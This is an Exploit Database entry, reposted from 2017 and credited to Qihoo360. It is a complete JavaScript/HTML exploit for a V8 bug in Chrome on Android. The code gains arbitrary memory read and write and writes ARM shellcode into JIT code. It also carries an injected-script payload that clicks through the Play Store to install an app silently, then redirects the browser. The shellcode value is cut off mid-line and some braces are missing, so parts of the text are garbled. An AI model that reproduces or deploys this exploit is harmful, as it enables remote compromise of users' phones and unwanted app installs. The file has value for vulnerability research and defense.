Google Chrome – V8 Private Property Arbitrary Code Execution

Exploit Database
110 阅读

作者： Qihoo360

日期： 2017-06-14
类别：
- remote
平台：
- android
来源：https://www.exploit-db.com/exploits/42175/

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<html>

// Source: https://github.com/secmob/pwnfest2016/

function exploit(){

function to_hex(num){

return (num>>>0).toString(16);

}

function intarray_to_double(int_arr){

var uBuf = new Uint32Array(2);

var dBuf = new Float64Array(uBuf.buffer);

uBuf[0]=int_arr[0];

uBuf[1]=int_arr[1];

return dBuf[0];

}

function str_to_double(str){//leng of str must be 8

var dBuf = new Float64Array(1);

var u8Buf = new Uint8Array(dBuf.buffer);

for(var i=0;i<str.length;i++){

u8Buf[i] = str.charCodeAt(i);

}

return dBuf[0];

}

function double_to_array(value){

var uBuf = new Uint32Array(2);

var dBuf = new Float64Array(uBuf.buffer);

dBuf[0]=value;

return uBuf;

}

function gc(){

for(var i=0;i<0x100000/16;i++){

new String;

}

function getHiddenValue(){

var obj = {};

var oob = "/re/";

//oob = oob.replace("re","*".repeat(0x2000));

oob = oob.replace("re","*".repeat(0x100000));

var str ='class x extends Array{'+oob+"}";

var fun = eval(str);

Object.assign(obj,fun);

return obj;

}

var obWin;

function makeOobString(){

var hiddenValue = getHiddenValue();

var magicStr = "bbbb";

var arr=[];

var str ='class x extends Array{}';

for(var i=0;i<str.length;i++){

arr[i]=str.charCodeAt(i);

}

var ob = new Array(0x200);

ob.fill(0x31313131);

gc();

str=String.fromCharCode.apply(null,arr);

ob=ob.concat(0x32323232);

var fun = eval(str);

ob[2]=str;

ob[3]=ob;

Object.assign(fun,hiddenValue);

var oobString = fun.toString();

gc();

print("begin search");

var subStr = oobString.substr(0,0x8000);

var pos = subStr.indexOf(magicStr);

print("end search");

if(pos==-1){

print("find magic failed");

postMessage(false);

self.close();

print("unpossible");

throw "error";

}else{

print("find magic at "+pos);

}

oobString = oobString.substr(pos,ob.length*4);

obWin=ob;

return oobString;

}

var oobString = makeOobString();

print("get oob string successfully");

function print(){

console.log.apply(null,arguments);

/*document.write('<p >');

document.write.apply(document,arguments);

document.write("<p>");*/

}

function str2arr(str,len){//len must be multile of 4

if(len===undefined)

len = str.length;

var u8a = new Uint8Array(len);

for(var i=0;i<len;i++){

u8a[i] = str.charCodeAt(i);

}

return new Uint32Array(u8a.buffer);

}

function pArrayInHex(arr){

var result="<p style='font-size:8px'>";

for(var i=0;i<arr.length;i++){

result+=(arr[i]+0x100000000).toString(16).substr(-8);

result+=" ";

if(i%8==7)

result+="<p style='font-size:8px'>";

}

result+="<p>";

print(result);

//alert(result);

return result;

}

function pStrInHex(str){

//var result="<p style='font-size:8px'>";

var result="\n";

for(var i=0;i<str.length;i++){

var code = str.charCodeAt(i);

result+=(code+0x100).toString(16).substr(-2);

if(i%4==3)

result+=" ";

if(i%32==31)

// result+="<p style='font-size:8px'>";

result+="\n";

}

// result+="<p>";

result+="\n";

print(result);

return result;

}

function getObjAddr(obj){

obWin[0]=obj;

var value2= ((str2arr(oobString,4))[0]);

return value2>>>0;

}

var getObj24BitsAddr = function(){

var smi=0;

var code = 0;

var i=0;

//don't allocate heap object

function getAddr(obj){

obWin[0]=obj;

value=0;

code = 0;

i=0;

for(i=2;i>=0;i--){

code = oobString.charCodeAt(i);

value = code+value*256;

}

return value;

}

return getAddr;

}();

var lengthInOldSpace = 0xfffffffc;

var abarr=new Array(800);

function sprayVM(){

var i=0;

var j=0;

try{

for(i=0;i<20;i++){

var u8 = new Uint8Array(0x10000000-0x500);

abarr[i]=u8;

}

}catch(e){}

try{

for(j=0;j<100;j++){

var u8 = new Uint8Array(0x8000000-0x500);

abarr[i+j]=u8;

}

}catch(e){}

print("allocate "+i+" 256M "+j+" 16M ")

function getRandomInt(min, max) {

min = Math.ceil(min);

max = Math.floor(max);

return Math.floor(Math.random() * (max - min)) + min;

}

delete abarr[getRandomInt(0,i)];

}

function getNewSpaceAddrs(){

/*var kMaxRegularHeapObjectSize =523776;// 507136;

var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);

str+="%";*/

var objsInNewSpace = new Array(80);

for(var i=0;i<objsInNewSpace.length;i++){

//var xx=escape(str);

var xx = new Array(0x70000/4);

objsInNewSpace[i]=(getObjAddr(xx)&0xfff00000)>>>0;

//使newspace更离散

new Uint8Array(0x100000-0x500);

}

function compareNumbers(a, b) {

return a - b;

}

objsInNewSpace = Array.from(new Set(objsInNewSpace));

objsInNewSpace = objsInNewSpace.sort(compareNumbers);

return objsInNewSpace;

}

print("begin get new space address");

var objsInNewSpace = getNewSpaceAddrs();

while(objsInNewSpace.length<16){

objsInNewSpace = getNewSpaceAddrs();

print("new space addresses");

pArrayInHex(objsInNewSpace);

}

try{

sprayVM();

}catch(e){}

var selectedTrunk = 0;

var selectedStr = "";

function bruteForceFengShui(){

var huge_str = "x".repeat(0x100000-0x9000);//-0x9000

huge_str +="%";

var hold = new Array(100);

//var holdaddress = new Array(100);

for(var i=0;;i++){

var large = escape(huge_str);

var addr = getObjAddr(large);

//console.log(addr.toString(16) + " "+i);

if(i<hold.length){

hold[i]=large;

//holdaddress[i]=addr;

}

addr=(addr&0xfff00000)>>>0;

addr = addr-0x100000;

if(objsInNewSpace.indexOf(addr)!=-1){

selectedTrunk = addr;

selectedStr = large;

abarr.fill(1);

hold.fill(1);

//holdaddress.fill(1);

break;

}

if(i===150){

/*i=0;

print("tried 200 times");

abarr.fill(1);

try{

sprayVM();

}catch(e){};*/

postMessage(false);

close();

throw "exceed limits";

}

bruteForceFengShui();

//to avoid allocate memory latter, initilize here

var nextTrunk = selectedTrunk + 0x100000;

//生成一块足够大的可读写内存

var huge_str = "eval('');";

//8000不能太大，太大会使new_space增大

for(var i=0;i<8000;i++) huge_str += 'a.a;';

huge_str += "return 10;";

var huge_func = new Function('a',huge_str);

huge_func({});

function fillNewSpace(origObj){

//first object in new space at 0x8100, new spaces layout

//0x40000

//0x37f00

//.....

//0x40000

var gap = "g".repeat(0x37f00-12-3);//12 is head of string,3 %25

var gap = gap+"%";

//flat gap

gap.substr(0,100);

var fillstr = "%20a".repeat((0x40000-12)/4);

fillstr = escape(fillstr);

var addr=0;

for(var i=0;i<0x100;i++){

addr = getObj24BitsAddr(origObj);

if((addr&0xfffff)===0x8101)

origObj=escape(gap);

else

origObj=unescape(fillstr);

}

function findNewSpace(){

var kMaxRegularHeapObjectSize =523776;// 507136;

var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);

str+="%";

for(var i=0;;i++){

var xx=escape(str);

var straddr = getObjAddr(xx);

addr=(straddr&0xfff00000)>>>0;

if(addr===selectedTrunk){

print("good state "+straddr.toString(16));

break;

}

function myencode(str){

var arr = [];

for(var i=0;i<str.length;i++){

if(i%2==1)

arr.push(str.charCodeAt(i));

else{

arr.push(37);//%

var hexstr = (str.charCodeAt(i)+0x100).toString(16).substr(-2);

arr.push(hexstr.charCodeAt(0));

arr.push(hexstr.charCodeAt(1));

}

return String.fromCharCode.apply(null,arr);

}

var dArray = [];

var index = (0x8100-36)*2;

for(var i=0;i<0x20000/8;i++){

dArray[i]=str_to_double("%03x%03x");

}

var occulen = 0;

var i = 0;

var savedChunk = new Uint8Array(0x8100);

var hiddenValue = getHiddenValue();

var arr=[];

fillNewSpace(new String);

findNewSpace();

var classStr ='class x extends Array{}';

for(var i=0;i<classStr.length;i++){

arr[i]=classStr.charCodeAt(i);

}

var magicStr = String.fromCharCode(0x86,0x24);

classStr=String.fromCharCode.apply(null,arr);

var ab = new ArrayBuffer(0x1243);

var fun = eval(classStr);

Object.assign(fun,hiddenValue);

var oobStr = fun.toString();

/*(gdb) x/20xw 0x5600c45c array buffer layout

* 0x5600c45c:0x4b009a9d0x410081250x410081250x00000020

* 0x5600c46c:0x09fda3680x000000040x000000000x00000000

//overwrite huge string as array buffer

var abLengthIndex = oobStr.indexOf(magicStr);

var strArrayBuffer = oobStr.substr(abLengthIndex-12,32);

//replace the byteLength

var LengthAddr = getObjAddr(lengthInOldSpace);

var strLength = String.fromCharCode(0xff&LengthAddr,(0xff00&LengthAddr)>>8,(0xff0000&LengthAddr)>>16,(0xff000000&LengthAddr)>>24);

var strBase = "\x00\x00\x00\x00";

strArrayBuffer = strArrayBuffer.substr(0,12)+strLength+strBase+strArrayBuffer.substr(20,12);

strArrayBuffer = myencode(strArrayBuffer);

for(var i=0;i<strArrayBuffer.length/8;i++){

var d = strArrayBuffer.substr(i*8,8);

dArray[index/8+i] = str_to_double(d);

}

var classStrAddr = getObjAddr(classStr)>>>0;

//set read position

var readOffset = 0x100000-((classStrAddr-1)&0xfffff)-12-0x40000;//12 string head

//length control the length of unscaped string, generated string has 12 bytes head

//left 0x1000*2 bytes to avoid gc

var subOobStr = oobStr.substr(readOffset,0x40000-24-0x2000);

//save the the chunk head to be corrupted

var nextThunkOffset = 0x100000-((classStrAddr-1)&0xfffff)-12;

var savedThunkStr = oobStr.substr(nextThunkOffset,0x8100);

for(var i =0;i<savedThunkStr.length;i++){

savedChunk[i] = savedThunkStr.charCodeAt(i);

}

var pos1=new String;

var pos1addr = getObj24BitsAddr(pos1)-1;

//0x10 size of JSArray, 0x10 size of String head, 8 ALLOCATION_MEMENTO_TYPE 8 fixedarray

occulen =0x100000-((pos1addr+0x10+0x10+0x8+0x8)&0xfffff);

//minus the length of double array

if(occulen<0x40000+16+8)

throw "no enough room";

occulen = occulen - 0x40000-16-8;//16 size of JSArray, 8 fixedarray

if(occulen%4!==0)

throw "length don't align";

var arrocc=new Array((occulen/4));

//set unescape write position

var occDoubleArray = dArray.concat();

var b=unescape(subOobStr);

//restore the corrupted chunk head

var u8 = new Uint8Array(selectedStr,nextTrunk,0x8100);

for(var i=0;i<savedChunk.length;i++){

u8[i] = savedChunk[i];

}

print("long string allocated at "+classStrAddr.toString(16));

if(typeof(selectedStr)==="string"){

print("overwrite failed");

postMessage(false);

close();

return;

//throw "overwrite failed";

}

var fakeab = selectedStr;

print("faked array buffer byte length is "+fakeab.byteLength.toString(16));

var globaldv = new Uint32Array(fakeab);

function read_uint32(from_address){

var u32 =globaldv[(from_address/4)>>>0];

return u32>>>0;

}

function read_uint8(from_address){

from_address = from_address>>>0;

var index = (from_address/4)>>>0;

var mask = from_address%4;

var u32 =globaldv[index];

u32 = u32<<8*(3-mask);

return u32>>>24;

}

function read_uint32_unalign(from_address){

var u32 = 0;

for(var i=3;i>=0;i--){

var u8 = read_uint8(from_address+i);

u32 = u32*0x100+u8;

}

return u32>>>0;

}

//rw to execute

//get function point of v8::internal::Accessors::ReconfigureToDataProperty

function getFixedFunctionPoint(fakeab){

var FunctionAddress = getObjAddr(Function);

var u32 = new Uint32Array(fakeab,FunctionAddress-1,0x1000);

var map = u32[0];

u32 = new Uint32Array(fakeab,map-1,0x1000);

//instance descriptors

var descriptors = u32[7];

u32 = new Uint32Array(fakeab,descriptors-1,0x1000);

var lengthAccessorInfo = u32[6];

u32 = new Uint32Array(fakeab,lengthAccessorInfo-1,0x1000);

var setterForeign = u32[4];

u32 = new Uint32Array(fakeab,setterForeign-1,0x1000);

var functionPoint = u32[1];

return functionPoint-1;

}

var funPoint = getFixedFunctionPoint(fakeab);

print("ReconfigureToDataProperty at"+funPoint.toString(16));

var pattern=[0x03,0x46,0x18,0xb1,0x20,0x46,0x98,0x47,0x04,0x46];//get_elf_hwcap_from_getauxval

var point = ((funPoint&~0xfff)-0xdb6000)>>>0;//cf0000

print("chrome.apk base at "+point.toString(16));

function find(startAddr,len,pattern){

for(var i=0; i<(len-pattern.length); i++ ) {

for(var j=0;j<pattern.length;j++){

var temp = read_uint8(startAddr+i+j);

//print(temp.toString(16));

if(temp!=pattern[j]) break;

}

if(j==pattern.length) return startAddr+i;

}

print("find failed");

}

var pattern_position=find(point,0x10000000,pattern);

print("find pattern at "+to_hex(pattern_position));

function get_dest_from_blx(addr) {

var val = read_uint32_unalign(addr);

var s = (val & 0x400) >> 10;

var i1 = 1 - (((val & 0x20000000) >> 29) ^ s);

var i2 = 1 - (((val & 0x8000000) >> 27) ^ s);

var i10h = val & 0x3ff;

var i10l = (val & 0x7fe0000) >> 17;

var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2);

return ((addr + 4) & ~3) + off;

}

function backup_original_code(start_address){

var backup_arr = [];

set_access_address(start_address);

var u8arr=new Uint8Array(faked_ab);

for(var i=0;i<shellcode.length+4096;i++){

backup_arr[i]=u8arr[i];

}

return backup_arr;

}

function restore_original_code(start_address,backup_arr){

set_access_address(start_address);

var u8arr=new Uint8Array(faked_ab);

for(var i=0;i<shellcode.length+4096;i++){

u8arr[i]=backup_arr[i];

}

huge_func({});

print("blx instruction content is "+to_hex(read_uint32_unalign(pattern_position-4)));

var dlsym_addr = get_dest_from_blx(pattern_position-4);

print("dlsym address is "+to_hex(dlsym_addr));

var huge_func_address = getObjAddr(huge_func)-1;

print("huge func address is "+to_hex(huge_func_address));

for(var i=0;i<20;i++){

print(to_hex(read_uint32(huge_func_address+i*4)));

}

var huge_func_code_entry = read_uint32(huge_func_address+7*4);//dynamic kCodeEntryOffset 3*4

print("huge func code entry is "+to_hex(huge_func_code_entry));

print(to_hex(read_uint32(huge_func_code_entry)));

//var so_str= "";

var shellcode = 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var arrayBuffer = new ArrayBuffer(0x1000000);

var arrayBufferAddress = getObjAddr(arrayBuffer)-1;

var backingStoreAddress = read_uint32(arrayBufferAddress+4*4);

var args_address = backingStoreAddress+1024;

function write_shellcode(dlsym_addr,buffer){

//ldr r0,[pc,4]//0xe59f0004

//ldr r1,[pc,4]//0xe59f1004

//b shellcode;//0xea000001

//dlopen_addr//array_buffer_address

//dlsym_addr

//shellcode

//var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr];

var stub=[0xe59f0004,0xe59f1004,0xea000001,args_address,0x1000000];

for(var i=0;i<stub.length;i++){

globaldv[buffer/4+i]=stub[i];

}

shellcode = shellcode.concat([0,0,0,0]);

for(var i=0;i<shellcode.length/4>>>0;i++){

// u8arr[i+4*stub.length]=shellcode[i];

globaldv[buffer/4+stub.length+i] = (shellcode[4*i+3]<<24)+(shellcode[4*i+2]<<16)+(shellcode[4*i+1]<<8)+(shellcode[4*i]);

}

return stub.length*4+shellcode.length;

}

function xss_code(){

//alert(navigator.userAgent);

//alert(document.cookie);

var i1=setInterval(function(){

if(!(document&&document.body&&document.body.innerHTML&&document.body.innerHTML.match(/This app is compatible/)!=null)){

console.log("wait load complete");

return;

}

clearInterval(i1);

var i2=setInterval(function(){

document.getElementsByClassName("price buy id-track-click")[0].click();

var installButton =document.getElementById("purchase-ok-button");

if(installButton == null)

return;

installButton.click();

document.write("<h1>The app will be installed shortly, Pwned by 360 Alpha Team</h1>");

clearInterval(i2);

setTimeout(function(){

window.open("intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end");

},26000);

},500);

}

var js_str="\n"+xss_code.toString()+"xss_code();\n";

//var backup_arr = backup_original_code(huge_func_code_entry);

var writed_len = write_shellcode(dlsym_addr,huge_func_code_entry);

var args_view = new DataView(arrayBuffer,1024,100);

var so_file_view = new DataView(arrayBuffer,4096);

var js_view = new DataView(arrayBuffer,0x100000);

args_view.setUint32(0,dlsym_addr+0xc,true);

args_view.setUint32(4,dlsym_addr,true);

args_view.setUint32(8,huge_func_code_entry,true);

args_view.setUint32(12,writed_len,true);

args_view.setUint32(16,backingStoreAddress+4096,true);

args_view.setUint32(20,so_str.length/2,true);

args_view.setUint32(24,backingStoreAddress+0x100000,true);

args_view.setUint32(28,js_str.length,true);

print("length is "+so_str.length);

for(var i=0;i<so_str.length;i+=2){

var value = so_str.substr(i,2);

value = "0x"+value;

so_file_view.setUint8(i/2,parseInt(value));

}

for(var i=0;i<js_str.length;i++){

js_view.setUint8(i,js_str.charCodeAt(i));

}

print("begin execute shellcode");

huge_func({});

print("done");

postMessage(true);

//prevent arrayBuffer to be released

while(1){}

}

//main world

function print(){

console.log.apply(null,arguments);

document.write('<p >');

document.write.apply(document,arguments);

document.write("<p>");

}

// Build a worker from an anonymous function body

var blobURL = URL.createObjectURL( new Blob([ '(',exploit.toString(),')()' ], { type: 'application/javascript' } ) );

var worker;

var exploitSucc = false;

var count = 0;

function startExploit(){

print("worker thread is started");

worker = new Worker( blobURL );

count++;

worker.onmessage = function(e){

print("exploit result is "+e.data);

exploitSucc = e.data;

if(exploitSucc==false){

startExploit();

return;

}

var end = +new Date();

print("time diff is "+(end-begin)/1000);

//top.location='https://play.google.com/store/apps/details?id=com.google.zxing.client.android';

top.location='https://play.google.com/store/apps/details?id=com.kitkats.qrscanner';

}

var begin = +new Date();

startExploit();

var savedCount = 0;

var hangMonitor = setInterval(function (){

if(exploitSucc==true){

clearInterval(hangMonitor);

}else{

if(savedCount==count){//maybe hang

print("worker maybe hange");

worker.terminate();

startExploit();

}else{

print("worker is normal");

savedCount = count;

}

},10000);

//URL.revokeObjectURL( blobURL );

</script>

</html>